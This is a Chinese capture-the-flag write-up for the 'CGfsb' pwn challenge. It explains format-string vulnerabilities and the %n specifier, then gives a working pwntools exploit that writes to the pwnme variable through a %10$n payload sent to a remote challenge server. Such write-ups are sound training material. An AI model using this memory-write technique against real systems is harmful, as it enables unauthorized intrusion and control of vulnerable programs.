CGfsb
先将其在终端checksec一下:
32位程序,开了NX(堆栈不可执行)以及CANNARY(栈保护),但这题开cannary真没感觉有什么用,又不是用栈溢出,奇怪……
拖入IDA查看代码
有两个输入点,这里重点看这个printf(s);这个是C语言学习中没涉及到的,等等会细说
观察有个system(“cat flag”);可以直接抓取flag于是思路清晰只要然pwnme=8就可以了,双击pwnme发现他存储在bss段,我们要如何才能用栈段的数据写到它那去呢?
这里就涉及到一个漏洞:格式化字符串漏洞
一般上格式是
printf(“%s”,s);
但变成了
printf(s)
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数
特别注意%n,它的功能是将%n之前打印出来的字符个数,赋值给一个变量比如:
a的值被改变了
也就是说他在某种特定环境下可以作为一个scanf来使用(不懂这个打死都别想做出来)
比如这里的偏移量为10,指的是输入的数据会作为printf的调用栈空间的第10个参数(在缓冲区的数据在第10个参数)
我们需要将pwnme的地址输入到s的空间去,在合适的位置上加一个%n,使其与我们输入的地址对应,从而造成漏洞利用
所以接下来的问题变成了如何让他们对应起来
对其运行输入
发现偏移量为10
上exp
from pwn import*
io=remote("61.147.171.105",56143)
pwnme=p32(0x0804A068)
payload=pwnme+b'a'*4+b'%10$n'#pwnme和aaaa正好组成8个字符,%10$n是对第10个参数进行定位,然后更改其数值
io.recvuntil("name:\n")
io.sendline("zjh")
io.recvuntil("please:\n")
io.sendline(payload)
io.interactive()
get shell!拿到flag